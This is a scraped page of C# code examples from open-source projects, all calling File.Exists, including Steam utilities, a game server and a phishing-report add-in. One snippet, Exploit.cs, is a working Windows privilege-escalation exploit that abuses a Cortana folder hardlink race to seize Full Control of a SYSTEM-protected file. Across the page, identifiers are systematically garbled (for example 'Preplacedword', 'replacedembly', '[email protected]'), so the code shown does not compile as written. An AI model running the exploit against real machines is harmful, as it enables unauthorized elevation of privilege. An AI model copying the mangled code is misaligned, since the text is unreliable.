System.IO.File.Exists(string)

Here are the examples of the csharp api System.IO.File.Exists(string) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

27393 Examples 7

19 View Source File : BotMainWindow.xaml.cs
License : GNU General Public License v3.0
Project Creator : 00000vish

private void initLogics()
        {
            if (File.Exists(STEAM_GAME_CONTROLLER))
            {
                if (!File.Exists(gameListFile))
                {
                    do
                    {
                        Application.Current.Dispatcher.Invoke(DispatcherPriority.Background, new Action(delegate { }));
                    } while (!SteamBotController.loggedIn);
                    generateGames();
                }
                getGamesFromFile();              
            }
            else
            {
                System.Windows.Forms.MessageBox.Show("FILES MISSING  >>  download at \n https://github.com/vishwenga/Steam-Boost/."
                    + " \n\n\n MISSING FOLDER >> \n\n"
                    + Environment.CurrentDirectory.ToString() + STEAM_BOOST_DIRECTORY
                    + " \n\n\n MISSING FILES IN FOLDER >> \n\n"
                    + Environment.CurrentDirectory.ToString() + STEAM_GAME_CONTROLLER + "\n\n"
                    + Environment.CurrentDirectory.ToString() + SAM_GAME + "\n\n"
                    + Environment.CurrentDirectory.ToString() + "\\steamBoost\\CSteamworks.dll \n\n"
                    + Environment.CurrentDirectory.ToString() + "\\steamBoost\\Newtonsoft.Json.dll \n\n"
                    + Environment.CurrentDirectory.ToString() + "\\steamBoost\\Newtonsoft.Json.xml \n\n"
                    + Environment.CurrentDirectory.ToString() + "\\steamBoost\\steam_api.dll \n\n"
                    + Environment.CurrentDirectory.ToString() + "\\steamBoost\\Steamworks.NET.dll \n\n");

                Close();
            }

        }

19 View Source File : BotMainWindow.xaml.cs
License : GNU General Public License v3.0
Project Creator : 00000vish

private void generateGames()
        {
            try
            {               
                Process.Start(new ProcessStartInfo(STEAM_GAME_CONTROLLER, "botgamelist " + SteamBotController.getSteamUserID() + " " + username));
            }
            catch (Exception) { }           
            do
            {
                Thread.Sleep(2000);
            } while (!File.Exists(gameListFile));
        }

19 View Source File : LocalSteamController.cs
License : GNU General Public License v3.0
Project Creator : 00000vish

private static bool checkForSteam()
        {
            if(!System.IO.File.Exists(SteamTwoProperties.jsonSetting.steamLocation)){
                new SteamTwo.Settings().Show("find steam"); // if not ask to locate it
                return false;
            }
            return true;
        }

19 View Source File : MainWindow.xaml.cs
License : GNU General Public License v3.0
Project Creator : 00000vish

private void initLogics()
        {
            setupEncryptionKey(0, "Please enter the encryption key below");
            if (File.Exists(SAVE_FILE_NAME))
            {
                try
                {
                    getAccountData();
                }
                catch (Exception)
                {
                    System.Windows.Forms.MessageBox.Show("Error getting account information from the save file, if the file was encrypted with different preplacedword goto settings and change the preplacedword and restart the application", "Error Decrypting", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Information);
                }
                updateAccountList();
                if (SteamTwoProperties.jsonSetting.autoLoginSetting)
                {
                    loginOnSteam(true);
                }
            }
        }

19 View Source File : SteamBotController.cs
License : GNU General Public License v3.0
Project Creator : 00000vish

static void OnConnected(SteamClient.ConnectedCallback callback)
        {
            Console.WriteLine("Connected to Steam! Logging in '{0}'...", user);

            byte[] sentryHash = null;
            if (File.Exists("sentry.bin"))
            {
                // if we have a saved sentry file, read and sha-1 hash it
                byte[] sentryFile = File.ReadAllBytes("sentry.bin");
                sentryHash = CryptoHelper.SHAHash(sentryFile);
            }

            steamUser.LogOn(new SteamUser.LogOnDetails
            {
                Username = user,
                Preplacedword = preplaced,

                // in this sample, we preplaced in an additional authcode
                // this value will be null (which is the default) for our first logon attempt
                AuthCode = authCode,

                // if the account is using 2-factor auth, we'll provide the two factor code instead
                // this will also be null on our first logon attempt
                TwoFactorCode = twoFactorAuth,

                // our subsequent logons use the hash of the sentry file as proof of ownership of the file
                // this will also be null for our first (no authcode) and second (authcode only) logon attempts
                SentryFileHash = sentryHash,
            });
        }

19 View Source File : ToolWindow.xaml.cs
License : GNU General Public License v3.0
Project Creator : 00000vish

private void initLogics()
        {
            if (File.Exists(STEAM_GAME_CONTROLLER))
            {
                if (!File.Exists(GAME_LIST_FILE))
                {
                    generateGames();
                }
                getGamesFromFile();
            }
            else
            {
                System.Windows.Forms.MessageBox.Show("FILES MISSING  >>  download at \n https://github.com/vishwenga/Steam-Boost/."
                    + " \n\n\n MISSING FOLDER >> \n\n"
                    + Environment.CurrentDirectory.ToString() + STEAM_BOOST_DIRECTORY
                    + " \n\n\n MISSING FILES IN FOLDER >> \n\n"
                    + Environment.CurrentDirectory.ToString() + STEAM_GAME_CONTROLLER + "\n\n"
                    + Environment.CurrentDirectory.ToString() + SAM_GAME + "\n\n"
                    + Environment.CurrentDirectory.ToString() + "\\steamBoost\\CSteamworks.dll \n\n"
                    + Environment.CurrentDirectory.ToString() + "\\steamBoost\\Newtonsoft.Json.dll \n\n"
                    + Environment.CurrentDirectory.ToString() + "\\steamBoost\\Newtonsoft.Json.xml \n\n"
                    + Environment.CurrentDirectory.ToString() + "\\steamBoost\\steam_api.dll \n\n"
                    + Environment.CurrentDirectory.ToString() + "\\steamBoost\\Steamworks.NET.dll \n\n");

                Close();
            }

        }

19 View Source File : ToolWindow.xaml.cs
License : GNU General Public License v3.0
Project Creator : 00000vish

private void generateGames()
        {
            try
            {
                Process.Start(new ProcessStartInfo(STEAM_GAME_CONTROLLER, "gamelist"));
            }
            catch (Exception) { }
            Hide();
            do
            {
                Thread.Sleep(2000);
            } while (!File.Exists(GAME_LIST_FILE));
            Show();
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0ffffffffh

static bool Run(string process, string args)
        {

            if (!File.Exists(process))
            {
                Console.WriteLine("{0} not found. Process creation failed.", process);
                return false;
            }

            ProcessStartInfo psi = new ProcessStartInfo(process, args)
            {
                UseShellExecute = true
            };

            return Process.Start(psi) != null;
        }

19 View Source File : EdisFace.cs
License : MIT License
Project Creator : 0ffffffffh

private bool ReplyWithFile(HttpListenerContext ctx, string fileName)
        {
            Stream fs;

            if (!File.Exists(fileName))
                return false;

            try
            {
                fs = File.OpenRead(fileName);
            }
            catch(Exception e)
            {
                Log.Error("{0} - {1}", fileName, e.Message);
                return false;
            }

            ctx.Response.ContentLength64 = fs.Length;
            ctx.Response.StatusCode = 200;

            ctx.Response.ContentEncoding = Encoding.ASCII;
            ctx.Response.ContentType = MimeTypeFromExt(Path.GetExtension(fileName));

            fs.CopyTo(ctx.Response.OutputStream);

            fs.Close();
            fs.Dispose();

            return true;
        }

19 View Source File : Exploit.cs
License : GNU General Public License v3.0
Project Creator : 0x00-0x00

static void Main(string[] args)
        {

            if (args.Length < 1)
            {
                Console.WriteLine("[+] Specify a target filename");
                return;
            }

            if (!File.Exists(args[0]))
            {
                Console.WriteLine($"[+] {args[0]} not found");
                return;
            }

            if (!HasFullControl(args[0], @"NT AUTHORITY\SYSTEM"))
            {
                Console.WriteLine([email protected]"[+] NT AUTHORITY\SYSTEM has no access to {args[0]}");
                return;
            }

            if (HasFullControl(args[0], WindowsIdenreplacedy.GetCurrent().Name))
            {
                Console.WriteLine([email protected]"[+] {WindowsIdenreplacedy.GetCurrent().Name} already has Full Control of {args[0]}");
                return;
            }


            if (GetCortana() == 0)
            {
                Console.WriteLine("[+] Cortana disabled");
                return;
            }

 
            string AppData = Environment.GetFolderPath((Environment.SpecialFolder.LocalApplicationData));
            string LocalState = AppData + [email protected]"\packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState";

            Console.WriteLine($"[+] Removing {LocalState}");


            try
            {
                Directory.Delete([email protected]"{LocalState}", true);
            }


            catch { }


            IntPtr Thread = GetCurrentThread();
            SetThreadPriority(Thread, ThreadPriority.THREAD_PRIORITY_HIGHEST);

            NtFile ntFile;
            ntFile = NtFile.Open([email protected]"\??\{args[0]}", null, FileAccessRights.MaximumAllowed);

            Console.WriteLine("[+] Waiting to Create Hardlink");

            bool Failed = true;

            while (Failed)
            {
                try
                {

                    ntFile.CreateHardlink([email protected]"\??\{LocalState}\rs.txt");
                    Failed = false;

                }

                catch { }
            }

            Console.WriteLine($"[+] Created Hardlink to {args[0]}");


            // Give the service some time to rewrite DACLs
            System.Threading.Thread.Sleep(2000);


            if (HasFullControl(args[0], WindowsIdenreplacedy.GetCurrent().Name))
            {
                Console.WriteLine(@"[+] You have Full Control");
            }

            else
            {
                Console.WriteLine(@"[+] Unlucky - Try again");
            }



        }

19 View Source File : frmMain.cs
License : GNU General Public License v3.0
Project Creator : 0x00000FF

private bool Check()
        {
            if (File.Exists(IVFilePath))
            {
                var IVTest = File.ReadAllBytes(IVFilePath);
                if (IVTest.Length == 16)
                    if (File.Exists(KeyFilePath))
                    {
                        var KeyTest = File.ReadAllBytes(KeyFilePath);
                        if (KeyTest.Length == 32)
                        {
                            Status.ForeColor = Color.LimeGreen;
                            Status.Text = "SAFE for Original Build";

                            return true;
                        }
                    }
            }

            return false;
        }

19 View Source File : CelesteNetServerModule.cs
License : MIT License
Project Creator : 0x0ade

public virtual void Load(string path = "") {
            FilePath = path = Path.GetFullPath(path.Nullify() ?? FilePath);

            if (!File.Exists(path)) {
                Save(path);
                return;
            }

            Logger.Log(LogLevel.INF, "settings", $"Loading {GetType().Name} from {path}");

            using Stream stream = File.OpenRead(path);
            using StreamReader reader = new(stream);
            Load(reader);
        }

19 View Source File : CelesteNetServerModule.cs
License : MIT License
Project Creator : 0x0ade

public virtual void Save(string path = "") {
            path = Path.GetFullPath(path.Nullify() ?? FilePath);

            Logger.Log(LogLevel.INF, "settings", $"Saving {GetType().Name} to {path}");

            string? dir = Path.GetDirectoryName(path);
            if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
                Directory.CreateDirectory(dir);

            using (Stream stream = File.OpenWrite(path + ".tmp"))
            using (StreamWriter writer = new(stream))
                Save(writer);

            if (File.Exists(path))
                File.Delete(path);
            File.Move(path + ".tmp", path);
        }

19 View Source File : FileSystemUserData.cs
License : MIT License
Project Creator : 0x0ade

public bool TryLoadRaw<T>(string path, out T value) where T : new() {
            lock (GlobalLock) {
                if (!File.Exists(path)) {
                    value = new();
                    return false;
                }

                using Stream stream = File.OpenRead(path);
                using StreamReader reader = new(stream);
                value = YamlHelper.Deserializer.Deserialize<T>(reader) ?? new();
                return true;
            }
        }

19 View Source File : FileSystemUserData.cs
License : MIT License
Project Creator : 0x0ade

public void SaveRaw<T>(string path, T data) where T : notnull {
            lock (GlobalLock) {
                string? dir = Path.GetDirectoryName(path);
                if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
                    Directory.CreateDirectory(dir);

                using (Stream stream = File.OpenWrite(path + ".tmp"))
                using (StreamWriter writer = new(stream))
                    YamlHelper.Serializer.Serialize(writer, data, typeof(T));

                if (File.Exists(path))
                    File.Delete(path);
                File.Move(path + ".tmp", path);
            }
        }

19 View Source File : FileSystemUserData.cs
License : MIT License
Project Creator : 0x0ade

public void DeleteRaw(string path) {
            lock (GlobalLock) {
                if (File.Exists(path))
                    File.Delete(path);
            }
        }

19 View Source File : FileSystemUserData.cs
License : MIT License
Project Creator : 0x0ade

public override Stream? ReadFile(string uid, string name) {
            string path = GetUserFilePath(uid, name);
            if (!File.Exists(path))
                return null;
            return File.OpenRead(path);
        }

19 View Source File : FileSystemUserData.cs
License : MIT License
Project Creator : 0x0ade

public override Stream WriteFile(string uid, string name) {
            string path = GetUserFilePath(uid, name);
            string? dir = Path.GetDirectoryName(path);
            if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
                Directory.CreateDirectory(dir);
            if (File.Exists(path))
                File.Delete(path);
            return File.OpenWrite(path);
        }

19 View Source File : FileSystemUserData.cs
License : MIT License
Project Creator : 0x0ade

public override void DeleteFile(string uid, string name) {
            string path = GetUserFilePath(uid, name);
            if (File.Exists(path))
                File.Delete(path);
            CheckCleanup(uid);
        }

19 View Source File : FileSystemUserData.cs
License : MIT License
Project Creator : 0x0ade

private void InsertFileRaw(string path, Stream stream) {
            lock (GlobalLock) {
                string? dir = Path.GetDirectoryName(path);
                if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
                    Directory.CreateDirectory(dir);

                if (File.Exists(path))
                    File.Delete(path);
                Stream target = File.OpenWrite(path);
                stream.CopyTo(target);
            }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0x0ade

private static ResolveEventHandler GetreplacedemblyResolverForDirectory(string dir) => (asmSender, asmArgs) => {
            if (asmArgs.Name == null)
                return null;
            string name = new replacedemblyName(asmArgs.Name).Name ?? asmArgs.Name;
            string path = Path.Combine(dir, name + ".dll");
            if (!File.Exists(path))
                path = Path.Combine(dir, name + ".exe");
            return File.Exists(path) ? replacedembly.LoadFrom(path) : null;
        };

19 View Source File : RCEPControl.cs
License : MIT License
Project Creator : 0x0ade

[RCEndpoint(true, "/notes", "", "", "Admin Notes", "Get or set some administrative notes.")]
        public static void Notes(Frontend f, HttpRequestEventArgs c) {
            string path = Path.ChangeExtension(f.Settings.FilePath, ".notes.txt");
            string text;

            if (c.Request.HttpMethod == "POST") {
                try {
                    using (StreamReader sr = new(c.Request.InputStream, Encoding.UTF8, false, 1024, true))
                        text = sr.ReadToEnd();
                    File.WriteAllText(path, text);
                    f.RespondJSON(c, new {
                        Info = "Success."
                    });
                    return;
                } catch (Exception e) {
                    f.RespondJSON(c, new {
                        Error = e.ToString()
                    });
                    return;
                }
            }

            if (!File.Exists(path)) {
                f.Respond(c, "");
                return;
            }

            try {
                text = File.ReadAllText(path);
                f.Respond(c, text);
            } catch (Exception e) {
                f.RespondJSON(c, new {
                    Error = e.ToString()
                });
                return;
            }
        }

19 View Source File : Ribbon.cs
License : GNU General Public License v3.0
Project Creator : 0dteam

public String GetURLsAndAttachmentsInfo(MailItem mailItem)
        {
            string urls_and_attachments = "---------- URLs and Attachments ----------";

            var domainsInEmail = new List<string>();

            var emailHTML = mailItem.HTMLBody;
            var doc = new HtmlAgilityPack.HtmlDoreplacedent();
            doc.LoadHtml(emailHTML);

            // extracting all links
            var urlsText = "";
            var urlNodes = doc.DoreplacedentNode.SelectNodes("//a[@href]");
            if(urlNodes != null)
            {
                urlsText = "\n\n # of URLs: " + doc.DoreplacedentNode.SelectNodes("//a[@href]").Count;
                foreach (HtmlNode link in doc.DoreplacedentNode.SelectNodes("//a[@href]"))
                {
                    HtmlAttribute att = link.Attributes["href"];
                    if (att.Value.Contains("a"))
                    {
                        urlsText += "\n --> URL: " + att.Value.Replace(":", "[:]");
                        // Domain Extraction
                        try
                        {
                            domainsInEmail.Add(new Uri(att.Value).Host);
                        }
                        catch (UriFormatException)
                        {
                            // Try to process URL as email address. Example -> <a href="mailto:[email protected]">...etc
                            String emailAtChar = "@";
                            int ix = att.Value.IndexOf(emailAtChar);
                            if (ix != -1)
                            {
                                string emailDomain = att.Value.Substring(ix + emailAtChar.Length);
                                try
                                {
                                    domainsInEmail.Add(new Uri(emailDomain).Host);
                                }
                                catch (UriFormatException)
                                {
                                    // if it fails again, ignore domain extraction
                                    Console.WriteLine("Bad url: {0}", emailDomain);
                                }
                            }
                        }
                    }
                }
            }
            else
                urlsText = "\n\n # of URLs: 0";

            // Get domains
            domainsInEmail = domainsInEmail.Distinct().ToList();
            urls_and_attachments += "\n # of unique Domains: " + domainsInEmail.Count;
            foreach (string item in domainsInEmail)
            {
                urls_and_attachments += "\n --> Domain: " + item.Replace(":", "[:]");
            }

            // Add Urls
            urls_and_attachments += urlsText;

            urls_and_attachments += "\n\n # of Attachments: " + mailItem.Attachments.Count;
            foreach (Attachment a in mailItem.Attachments)
            {
                // Save attachment as txt file temporarily to get its hashes (saves under User's Temp folder)
                var filePath = Environment.ExpandEnvironmentVariables(@"%TEMP%\Outlook-Phishaddin-" + a.DisplayName + ".txt");
                a.SaveAsFile(filePath);

                string fileHash_md5 = "";
                string fileHash_sha256 = "";
                if (File.Exists(filePath))
                {
                    fileHash_md5 = CalculateMD5(filePath);
                    fileHash_sha256 = GetHashSha256(filePath);
                    // Delete file after getting the hashes
                    File.Delete(filePath);
                }
                urls_and_attachments += "\n --> Attachment: " + a.FileName + " (" + a.Size + " bytes)\n\t\tMD5: " + fileHash_md5 + "\n\t\tSha256: " + fileHash_sha256 + "\n";
            }
            return urls_and_attachments;
        }

19 View Source File : Config.cs
License : MIT License
Project Creator : 0ffffffffh

public static Config Get()
        {
            string key, val;
            string[] optLines;

            string workDir = Path.GetDirectoryName(replacedembly.GetExecutingreplacedembly().Location);

            if (!File.Exists(workDir + "\\.config"))
                return conf;

            if (conf != null)
                return conf;


            conf = new Config();

            optLines = File.ReadAllLines(workDir + "\\.config");

            if (optLines == null)
                return conf;

            foreach (var item in optLines)
            {
                var part = item.Split(new char[] { '=' }, StringSplitOptions.RemoveEmptyEntries);

                if (part != null && part.Length == 2)
                {
                    key = part[0].Trim();
                    val = part[1].Trim();

                    switch (key)
                    {
                        case "memcached_port":
                            conf.MemcachedPort = TryConv<int>(val, 11211);
                            break;
                        case "memcached_path":
                            conf.MemcachedPath = val;
                            break;
                        case "sbmon_path":
                            conf.SbmonPath = val;
                            break;
                        case "log_level":
                            conf.LogLevel = TryConv<int>(val, (int)LogType.Critical);
                            break;
                        case "dbpwd":
                            conf.DbPreplacedword = val;
                            break;
                        case "test_mode":
                            conf.TestMode = TryConv<bool>(val, true);
                            break;
                        case "html_replacedet_root":
                            conf.HtmlContentRoot = val;
                            break;
                        case "cacheset_salt":
                            conf.CacheSetSalt = val;
                            break;
                        case "records_per_page":
                            conf.RecordCountPerPage = TryConv<int>(val, 40);
                            break;
                        case "basliks_per_page":
                            conf.BaslikCountPerPage = TryConv<int>(val, 15);
                            break;
                    }
                }
            }
            
            optLines = null;

            return conf;
        }

19 View Source File : frmMain.cs
License : GNU General Public License v3.0
Project Creator : 0x00000FF

private void Create_Click(object sender, EventArgs e)
        {
            try
            {
                if (File.Exists(IVFilePath))
                {
                    if (File.GetAttributes(IVFilePath) == FileAttributes.Hidden)
                        File.SetAttributes(IVFilePath, FileAttributes.Normal);

                    if (File.ReadAllBytes(IVFilePath).Length != 16)
                    {
                        File.Delete(IVFilePath);
                    }

                    var _buffer = new byte[16];

                    var randomKey = new RNGCryptoServiceProvider();
                    randomKey.GetBytes(_buffer);
                    File.WriteAllBytes(IVFilePath, _buffer);
                }
                else
                {
                    var _buffer = new byte[16];

                    var randomKey = new RNGCryptoServiceProvider();
                    randomKey.GetBytes(_buffer);
                    File.WriteAllBytes(IVFilePath, _buffer);
                }

                if (File.Exists(KeyFilePath))
                {
                    if (File.GetAttributes(KeyFilePath) == FileAttributes.Hidden)
                        File.SetAttributes(KeyFilePath, FileAttributes.Normal);

                    if (File.ReadAllBytes(KeyFilePath).Length != 32)
                    {
                        File.Delete(KeyFilePath);
                    }

                    var _buffer = new byte[32];

                    var randomKey = new RNGCryptoServiceProvider();
                    randomKey.GetBytes(_buffer);
                    File.WriteAllBytes(KeyFilePath, _buffer);
                }
                else
                {
                    var _buffer = new byte[32];

                    var randomKey = new RNGCryptoServiceProvider();
                    randomKey.GetBytes(_buffer);
                    File.WriteAllBytes(KeyFilePath, _buffer);
                }

                File.SetAttributes(IVFilePath, FileAttributes.Hidden);
                File.SetAttributes(KeyFilePath, FileAttributes.Hidden);

                Check();

            }
            catch
            {
                MessageBox.Show("There's problem to create pseudo key/iv files.\nTry again with administrator privileges.");
            }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0x0ade

private static void MainMain(string[] args) {
            LogHeader(Console.Out);
            Thread.CurrentThread.Name = "Main Thread";

            CelesteNetServerSettings settings = new();
            settings.Load();
            settings.Save();


            bool showHelp = false;
            string? logFile = "log-celestenet.txt";
            OptionSet options = new() {
                {
                    "v|loglevel:",
                    $"Change the log level, ranging from {LogLevel.CRI} ({(int) LogLevel.CRI}) to {LogLevel.DEV} ({(int) LogLevel.DEV}). Defaults to {LogLevel.INF} ({(int) LogLevel.INF}).",
                    v => {
                        if (Enum.TryParse(v, true, out LogLevel level)) {
                            Logger.Level = level;
                        } else {
                            Logger.Level--;
                        }

                        if (Logger.Level < LogLevel.DEV)
                            Logger.Level = LogLevel.DEV;
                        if (Logger.Level > LogLevel.CRI)
                            Logger.Level = LogLevel.CRI;

                        Console.WriteLine($"Log level changed to {Logger.Level}");
                    }
                },

                { "log", "Specify the file to log to.", v => { if (v != null) logFile = v; } },
                { "nolog", "Disable logging to a file.", v => { if (v != null) logFile = null; } },

                { "h|help", "Show this message and exit.", v => showHelp = v != null },
            };

            try {
                options.Parse(args);

            } catch (OptionException e) {
                Console.WriteLine(e.Message);
                Console.WriteLine("Use --help for argument info.");
                return;
            }

            if (showHelp) {
                options.WriteOptionDescriptions(Console.Out);
                return;
            }

            if (logFile == null) {
                MainRun(settings);
                return;
            }

            if (File.Exists(logFile))
                File.Delete(logFile);

            using FileStream fileStream = new(logFile, FileMode.OpenOrCreate, FileAccess.Write, FileShare.ReadWrite | FileShare.Delete);
            using StreamWriter fileWriter = new(fileStream, Console.OutputEncoding);
            using LogWriter logWriter = new() {
                STDOUT = Console.Out,
                File = fileWriter
            };
            LogHeader(fileWriter);

            try {
                Console.SetOut(logWriter);
                MainRun(settings);

            } finally {
                if (logWriter.STDOUT != null) {
                    Console.SetOut(logWriter.STDOUT);
                    logWriter.STDOUT = null;
                }
            }
        }

19 View Source File : MainActivity.cs
License : Microsoft Public License
Project Creator : 0x0ade

protected override void OnStart()
		{
			base.OnStart();
			Instance = this;
			ActionBar.Hide();

			// Load stub Steamworks.NET
			Steamworks.SteamAPI.Init();

			GamePath = null;
			foreach (Java.IO.File root in GetExternalFilesDirs(null))
			{
				string path = Path.Combine(root.AbsolutePath, Game);
				if (!File.Exists(path))
					continue;
				GamePath = path;
				break;
			}

			if (!string.IsNullOrEmpty(GamePath))
			{
				System.Environment.CurrentDirectory = Path.GetDirectoryName(GamePath);
			}
			System.Environment.SetEnvironmentVariable("FNADROID", "1");

			// Load our copy of FNA before the game gets a chance to run its copy.
			RuntimeHelpers.RunClreplacedConstructor(typeof(Game).TypeHandle);
		}

19 View Source File : CelesteNetEmojiComponent.cs
License : MIT License
Project Creator : 0x0ade

protected override void Dispose(bool disposing) {
            base.Dispose(disposing);

            foreach (string id in Registered)
                Emoji.Register(id, GFX.Misc["whiteCube"]);

            Emoji.Fill(CelesteNetClientFont.Font);

            foreach (string path in RegisteredFiles)
                if (File.Exists(path))
                    File.Delete(path);
        }

19 View Source File : FileSystemHelper.cs
License : zlib License
Project Creator : 0x0ade

public static string ChangePath(string path, char separator) {
            // Can't trust File.Exists if MONO_IOMAP_ALL is set.
            if (!MONO_IOMAP_ALL) {
                string pathMaybe = path;
                // Check if target exists in the first place.
                if (Directory.Exists(path) || File.Exists(path))
                    return pathMaybe;

                // Try a simpler fix first: Maybe the casing is already correct...
                pathMaybe = path.Replace('/', separator).Replace('\\', separator);
                if (Directory.Exists(pathMaybe) || File.Exists(pathMaybe))
                    return pathMaybe;

                // Fall back to the slow rebuild.
            }

            // Check if the path has been rebuilt before.
            Dictionary<string, string> cachedPaths;
            if (!_CachedChanges.TryGetValue(separator, out cachedPaths))
                _CachedChanges[separator] = cachedPaths = new Dictionary<string, string>();
            string cachedPath;
            if (cachedPaths.TryGetValue(path, out cachedPath))
                return cachedPath;

            // Split and rebuild path.

            string[] pathSplit = path.Split(DirectorySeparatorChars);

            StringBuilder builder = new StringBuilder();

            bool unixRooted = false;

            if (Path.IsPathRooted(path)) {
                // The first element in a rooted path will always be correct.
                // On Windows, this will be the drive letter.
                // On Unix and Unix-like systems, this will be empty.
                if (unixRooted = (builder.Length == 0))
                    // Path is rooted, but the path separator is the root.
                    builder.Append(separator);
                else
                    builder.Append(pathSplit[0]);
            }

            for (int i = 1; i < pathSplit.Length; i++) {
                string next;
                if (i < pathSplit.Length - 1)
                    next = GetDirectory(builder.ToString(), pathSplit[i]);
                else
                    next = GetTarget(builder.ToString(), pathSplit[i]);
                next = next ?? pathSplit[i];

                if (i != 1 || !unixRooted)
                    builder.Append(separator);

                builder.Append(next);
            }

            return cachedPaths[path] = builder.ToString();
        }

19 View Source File : Frontend.cs
License : MIT License
Project Creator : 0x0ade

public Stream? OpenContent(string path, out string pathNew, out DateTime? lastMod, out string? contentType) {
            pathNew = path;

            try {
                string dir = Path.GetFullPath(Settings.ContentRoot);
                string pathFS = Path.GetFullPath(Path.Combine(dir, path));
                if (pathFS.StartsWith(dir) && File.Exists(pathFS)) {
                    lastMod = File.GetLastWriteTimeUtc(pathFS);
                    contentType = GetContentType(pathFS);
                    return File.OpenRead(pathFS);
                }
            } catch {
            }

#if DEBUG
            try {
                string dir = Path.GetFullPath(Path.Combine("..", "..", "..", "Content"));
                string pathFS = Path.GetFullPath(Path.Combine(dir, path));
                if (pathFS.StartsWith(dir) && File.Exists(pathFS)) {
                    lastMod = File.GetLastWriteTimeUtc(pathFS);
                    contentType = GetContentType(pathFS);
                    return File.OpenRead(pathFS);
                }
            } catch {
            }

            try {
                string dir = Path.GetFullPath(Path.Combine("..", "..", "..", "..", "CelesteNet.Server.FrontendModule", "Content"));
                string pathFS = Path.GetFullPath(Path.Combine(dir, path));
                if (pathFS.StartsWith(dir) && File.Exists(pathFS)) {
                    lastMod = File.GetLastWriteTimeUtc(pathFS);
                    contentType = GetContentType(pathFS);
                    return File.OpenRead(pathFS);
                }
            } catch {
            }
#endif

            if (!path.EndsWith("/index.html")) {
                path = path.EndsWith("/") ? path : (path + "/");
                Stream? index = OpenContent(path + "index.html", out _, out lastMod, out contentType);
                if (index != null) {
                    pathNew = path;
                    return index;
                }
            }

            lastMod = null;
            contentType = GetContentType(path);
            return typeof(CelesteNetServer).replacedembly.GetManifestResourceStream("Celeste.Mod.CelesteNet.Server.Content." + path.Replace("/", "."));
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0x0ade

static void Main(string[] args) {
            // Required for the relative extra paths to work properly.
            if (!File.Exists("MonoMod.RuntimeDetour.dll"))
                Environment.CurrentDirectory = Path.GetDirectoryName(replacedembly.GetExecutingreplacedembly().Location);

            string inputDir, outputDir;
            if (args.Length != 2 ||
                !Directory.Exists(inputDir = args[0]) ||
                !Directory.Exists(outputDir = args[1])) {
                Console.Error.WriteLine("Usage: inputdir outputdir");
                return;
            }

            // Check that the files exist.
            if (!VerifyFile(out string inputXNA, inputDir, "Terraria.XNA.exe"))
                return;
            if (!VerifyFile(out string inputFNA, inputDir, "Terraria.FNA.exe"))
                return;

            // Strip or copy.
            foreach (string path in Directory.GetFiles(inputDir)) {
                if (!path.EndsWith(".exe") && !path.EndsWith(".dll")) {
                    Console.WriteLine($"Copying: {path}");
                    File.Copy(path, Path.Combine(outputDir, Path.GetFileName(path)));
                    continue;
                }

                Console.WriteLine($"Stripping: {path}");
                Stripper.Strip(path);
            }

            // Generate hooks.
            string hooksXNA = Path.Combine(outputDir, "Windows.Pre.dll");
            string hooksFNA = Path.Combine(outputDir, "Mono.Pre.dll");
            GenHooks(inputXNA, hooksXNA);
            GenHooks(inputFNA, hooksFNA);

            // Merge generated .dlls and MonoMod into one .dll per environment.
            string[] extrasMod = {
                "TerrariaHooks.dll",
                "MonoMod.exe",
                "MonoMod.RuntimeDetour.dll",
                "MonoMod.Utils.dll"
            };
            Repack(hooksXNA, extrasMod, Path.Combine(outputDir, "Windows.dll"), "TerrariaHooks.dll");
            File.Delete(hooksXNA);
            Repack(hooksFNA, extrasMod, Path.Combine(outputDir, "Mono.dll"), "TerrariaHooks.dll");
            File.Delete(hooksFNA);
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0x0ade

static bool VerifyFile(out string path, params string[] paths) {
            path = Path.Combine(paths);
            if (!File.Exists(path) && !Directory.Exists(path)) {
                Console.Error.WriteLine($"Missing: {path}");
                return false;
            }
            return true;
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0x0ade

static void GenHooks(string input, string output) {
            Console.WriteLine($"Hooking: {input} -> {output}");

            using (MonoModder mm = new MonoModder() {
                InputPath = input,
                OutputPath = output,
                ReadingMode = ReadingMode.Deferred,

                MissingDependencyThrow = false,
            }) {
                mm.Read();
                mm.MapDependencies();

                if (File.Exists(output))
                    File.Delete(output);

                HookGenerator gen = new HookGenerator(mm, Path.GetFileName(output)) {
                    HookPrivate = true,
                };
                gen.Generate();
                gen.OutputModule.Write(output);
            }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0x0ade

static void Repack(string input, string[] extras, string output, string name = null) {
            Console.Error.WriteLine($"Repacking: {input} -> {output}");
            if (name == null)
                name = Path.GetFileName(output);

            string outputTmp = Path.Combine(Path.GetDirectoryName(output), name);
            if (File.Exists(outputTmp))
                File.Delete(outputTmp);

            List<string> args = new List<string>();
            args.Add($"/out:{outputTmp}");
            args.Add(input);
            foreach (string dep in extras)
                if (!string.IsNullOrWhiteSpace(dep))
                    args.Add(dep.Trim());

            RepackOptions options = new RepackOptions(args);
            ILRepack repack = new ILRepack(options);
            repack.Repack();

            if (output != outputTmp) {
                if (File.Exists(output))
                    File.Delete(output);
                File.Move(outputTmp, output);
            }
        }

19 View Source File : XnaToFnaUtil.cs
License : zlib License
Project Creator : 0x0ade

public void ScanPath(string path) {
            if (Directory.Exists(path)) {
                // Use the directory as "dependency directory" and scan in it.
                if (Directories.Contains(path))
                    // No need to scan the dir if the dir is scanned...
                    return;

                RestoreBackup(path);

                Log($"[ScanPath] Scanning directory {path}");
                Directories.Add(path);
                replacedemblyResolver.AddSearchDirectory(path); // Needs to be added manually as DependencyDirs was already added

                // Most probably the actual game directory - let's just copy XnaToFna.exe to there to be referenced properly.
                string xtfPath = Path.Combine(path, Path.GetFileName(Thisreplacedembly.Location));
                if (Path.GetDirectoryName(Thisreplacedembly.Location) != path) {
                    Log($"[ScanPath] Found separate game directory - copying XnaToFna.exe and FNA.dll");
                    File.Copy(Thisreplacedembly.Location, xtfPath, true);

